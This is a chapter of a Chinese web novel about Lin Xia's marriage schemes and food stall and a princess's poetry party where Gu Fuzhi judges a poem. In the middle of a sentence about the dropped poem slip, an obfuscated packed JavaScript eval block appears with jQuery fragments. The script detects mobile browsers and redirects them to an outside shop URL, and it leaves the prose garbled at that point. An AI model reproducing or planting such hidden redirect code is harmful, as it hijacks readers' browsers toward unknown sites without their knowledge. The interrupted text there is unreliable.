前些日子顾甫之已搬回栖云居住,不过今日忙得太晚,回去丫鬟婆子们又得掌灯来迎,怕扰了父母清梦,于是今晚暂住府衙中。
司琴给他铺床,司棋去打水。
顾甫之身穿月白中衣,推开了书案后的窗户,让风灌进来,吹走这一室的墨香。
不过半盏茶的功夫,司琴就听见顾甫之打了两下喷嚏。
“郎君,”他走上前关了窗,“进到五月天虽然暖和起来了,可不敢贪凉。”
顾甫之掩面低咳,“无事,倒盏茶过来。”
刚说完,又接上一个喷嚏,司琴无奈摇头,取了袍子给他披上。
-
一街之外,林观海听完林夏的豪言壮语,愣神了许久不见任何动作。
林夏也不急着解释,慢悠悠夹着花生米,一颗一颗慢慢咀嚼。
直到夜空中划过一声明亮的鸟啼,林观海才眨了眨眼。
“夏夏,你所言……”
“当然是真的!”林夏一拍桌子,碗筷杯子叮当响,“阿爹,女儿说的可都是真心话!”
林夏巧妙运用了心理学中的讨价还价原理:当她提出一个完全不可能实现的目标时,林观海震惊之下根本顾不上其他,那么,退而求其次的方案反而成了更好的选择。
“可那顾大人何等身份,咱们家——”
“阿爹,你别劝我了,我就要嫁顾大人!”林夏还嫌不够似的,又补充一句:“做、做妾也行!”
“那可不行!”林观海气得吹胡子瞪眼,“你是读书人家的女儿!怎么能给人做妾!罢了,除了顾大人……旁的你随便挑!”
林夏眼珠子骨碌骨碌转着,“其他人我哪看得上啊。”
“看不上就多看看!”林观海气得不想跟她多说,将面前酒杯一饮而尽后去了后院。
林夏憋着笑,美滋滋享用起小酒配卤味。
顾大人长得是帅,跟那红极一时的韩国男明星似的,还没那股脂粉气。
但她两辈子活的日子加起来,都能当他娘了。
喜欢他?
林夏撇撇嘴,她还是觉得银子更秀色可餐。
收拾完吃剩下的残羹,林夏回屋睡觉的路上看见林观海房间亮着,她伸着脖子一瞧,坐在窗下苦读的不正是她爹吗?
有志气,等她爹考中了,也弄个宰相、知府或阁老什么的当当。
-
长公主府的诗会,可不是一般人能参加的,到场的诸位除了世家贵女,便是那金尊玉贵的龙子龙孙。
明眼人都知道诗会为何而办,那些成了婚的、许了亲的,纷纷避了风头。
挂着安国侯府玉牌的马车穿过喧嚣街巷、压过青石板路,缓缓行至长公主府正门。
丫鬟撩开帷帐觑了一眼,又迅速放下,举起铜镜,“五娘子,前头是贺家的马车,想必来人是祝大娘子。”
车内女子杨柳腰、巴掌脸,蹙起眉头有三分病西子的风姿。
女子纤纤手指悬在点心盒上许久,最终什么都没吃,又落到发间,理了理鬓边发丝,不以为意:“贺家娘子可真是热心,哪都缺不了她。”
丫鬟偷笑:“咱们娘子那是百家求,哪用得着劳烦她?不过……”丫鬟瞟了眼她的脸色,斟酌道:“娘子,三皇子至今未有正妃,您为何……”
“表哥?”秦舒月美眸半眯,唇边漾起浅笑:“表哥怎么能跟顾四哥哥比呢?”
说话间,马车停下,丫鬟搀扶着秦舒月从车上下来。
她穿着一件九重紫色褙子,通袖绣着百蝶穿花,月白色轻罗百迭裙,裙门压金线蝴蝶暗纹,行走间鬓边镶了米粒珍珠的蝴蝶颤枝晃晃悠悠,仿若仙娥入世。
未料迎面来了架马车,正好停在她面前。
马车扬起一阵烟尘,秦舒月嫌厌地别过脸,快步离开。
进了二道门后,丫鬟才在她耳边低声说:“是献国公家的七娘子。”
“什么!”秦舒月目光顿时沉了下去,“楚轻雨那个胖丫头也来了?哼,不照照镜子,还敢跟我争?”
“娘子,”丫鬟窃笑,“镜子里怕装不下她呢。”
到了花园中,眼前美景令人诧异。
刚过端午,长公主府池塘里的荷叶层层叠叠,那抹浓翠倒让人心头生出几分凉意。
有婆子解释,长公主府引来了地热温泉,故而花开得早。
娘子们在水榭之中,四面轻纱环绕,郎君们由顾甫之招待,在园中花厅,双方中间隔着一道拱桥。
“贺六,今日怎么看你闷闷不乐的?”有世家公子好奇道。
素日里贺六跟顾四好得恨不得穿一条裤子,可今天一个坐东边,一个坐西边,一个煮茶,一个饮酒,连眼神都凑不到一块儿去。
贺珉冷笑:“当然高兴不起来了,若是你吃桃子,吃到中央才发现一根虫子,不,是半根虫子,你难受不难受!”
那人捂了捂心口:“说这么恶心作甚?”
贺珉转身望向厅外的石榴树,淡然道:“我心里就是这么恶心。”
顾甫之岿然不动,只手中茶筅失了分寸,溅出些茶汤。
他叹了口气,主动向贺珉走去,可贺珉后脑勺跟长了眼睛似的,先他一步起身离开了。
另一头,长公主在几位世家妇人围绕之下,笑得花枝乱颤,只眼神滑过水榭中一穿榴花红的小娘子时,唇边笑容僵了几息。
见状,贺六母亲宜芳县主贴到她耳畔低语:“这就是轻雨。”
“她——”长宁话说了半截。
宜芳摇头:“娘走得早,她爹哪能顾得上她,一来二去,就把姑娘吃成……”
吃成了个大胖子。
这可如何是好?长宁愁眉不展,小时候的轻雨还能称一声活泼可爱,长大后怎么……
长宁正烦闷着呢,忽听见一声脆生生的“长公主殿下”。
“是舒月啊,叫姑母就是,这么见外作甚?”长宁将她上下打量一遍,“大姑娘了,出落得越发楚楚动人。”
就是瘦了些,要是跟楚轻雨匀匀……
秦舒月自然不懂她心里在想什么,笑眯眯献上自己刚做的诗,而后羞答答低下头:“想烦请世子指点一二。”
嬷嬷接过花笺,遣人送到郎君那处。
长宁突然跟宜芳的目光对上,瞧出她的欲言又止,便对秦舒月说:“舒月,跟小娘子们去赏花吃茶点吧。”
打发走了秦舒月,长宁下颌微抬:“说吧,有什么高见?”
“长公主觉得月儿如何?”
长宁一眼扫了过来,“宜芳,怎么糊涂了!”
宜芳县主轻轻拍了拍嘴,“怪我口不择言,可……舒月的确是贵女中最合适的。”
长宁叹息,从身份、样貌、品行来看,秦舒月的确没得挑。可她是秦贵妃的亲侄女,就这一条,足够将前面所有推翻。
顾家树大招风,三皇子和秦贵妃又风头正盛,长公主府若是跟三皇子母族搭上,官家该如何想?
“此话不敢再提。”
远远瞧见司琴捧着花笺过来,宜芳县主端起茶盏,掩去脸上神色。
“殿下,”司琴躬身,声音发颤:“郎君、郎君看完了。”
仅一眼,长宁眉头紧锁。
秦舒月提着裙子过来,“姑母,可是表哥有何高见?”
她话音未落,长公主手腕一垂,花笺便从指间落到了地上,司琴急忙蹲下身子去捡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712225|206027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,扬起的风将轻飘飘的花笺带到池塘中,顷刻间消失无踪。
司琴扑通跪下,连着磕了几个头:“都是奴才的错!请殿下责罚!”
秦舒月面色不悦,却也不能说什么,只好打圆场:“姑母,湿了就湿了,不是多要紧。”
长宁合了合眼,似乎在忍耐着什么,良久,她从手腕上褪下一个八宝掐丝镯,赠给秦舒月,笑着说:“乖孩子,是这满池荷叶也想品品你的好诗。”
至于顾甫之批的那四个字——不通文墨。
长宁顿觉头晕目眩。
-
林夏的凉皮已卖了三五日,价钱不贵,清爽可口,唯一的问题在于不少人反应吃不饱,尤其是那饭量大的郎君,一人吃个三碗不成问题。
“林掌柜,我今日还是三碗凉皮装一起,再来一张炊饼!”来人是老费。
虽有宋娘子给码头送吃食,但老费依然时不时来林夏店里光顾,他就是说凉皮吃不饱的那群客人里呼声最高的一位。
天气热了,店里早早开始备冰,凉皮放在铜盆里,隔着冰水冰镇,既不容易坏,吃起来也更筋道。
林夏听完他的要求,拿出柜台上常用的小碗,烫熟的豆芽打底,一把凉皮放在最顶上,浇上秘制料汁、蒜水,可惜没有辣椒油,只能淋几滴香油,舀上一勺炸过的辣齑佐味。
把这一小碗凉皮端给老费后,老费还埋怨林夏,“我是想让姜娘子少洗几个碗,林掌柜怎地不领情?”
林夏看了眼屋外的日头,心里算了算,笑着对老费解释:“客官等着瞧吧,今日有好东西。”
老费吃得快,一碗凉皮又不多,三两口解决后仍意犹未尽,本打算再要两碗,可想到林夏说有好东西,只好压着馋虫,静待惊喜。
“掌柜的,你这凉皮能不能往码头送一些?”老费站在柜台外头跟林夏闲聊,“天热以后,兄弟们都不爱吃那油大的,若是忙完后来一碗凉皮,配上炊饼,再喝一碗冰镇绿豆汤,兄弟们得多舒畅!”
“倒是个好主意,”林夏朝门外一招手,“宋娘子,恰巧你来,我这儿的凉皮你看看可要进一些?”
宋娘子放下肩上的担子,喘了口气,接过林夏递来的酸梅饮子,一口气干了。
“林掌柜,你先看看你要的饼。”宋娘子掀开盖在竹筐上的花布,“照您说的,铁圈虎背菊花心,我家那口子做了十来批,最好的就在这儿了。”
林夏捡出几个饼,交给小平,让他把饼在空锅里焙一下,而她自己走到陶罐前,拿筷子夹出几块肥瘦相间的卤肉。
她将卤肉切碎,浇上一勺深褐色的卤汤,再反复剁了几次,卤肉变得软烂,香气扑鼻。
老费早站不住了,直咽口水,“这是何物?闻着不像前些日子的卤肉。”
“这叫腊汁肉。”
小平也热好了饼,两个小的闻着味就围了过来。
林夏拿起微烫的饼,从中间劈了一刀,又将切好的肉填了进去,这还不够,递给老费之前,她又往里浇了点汤。
“小心烫。”
她说的就是废话,老费接过饼,当即咬了一大口。
余下的几个饼被林夏如法炮制,两个小的也分了一半饼,宋娘子尝了尝,赞叹道:“这也太香了!饼香、肉也香,加一起更香了。”
小平也是个嘴笨的,只会呜呜表示赞同。
眨眼间,老费就吃完了,林夏赶紧端上酸梅饮子,怕他噎着。
“这叫什么?馍夹肉?”
“非也!”林夏说:“这叫肉夹馍!”
老费不解:“明明是肉夹在馍里,怎么叫这名字?”
“名字不重要!”林夏面露向往:“肉夹馍和凉皮就是绝配!”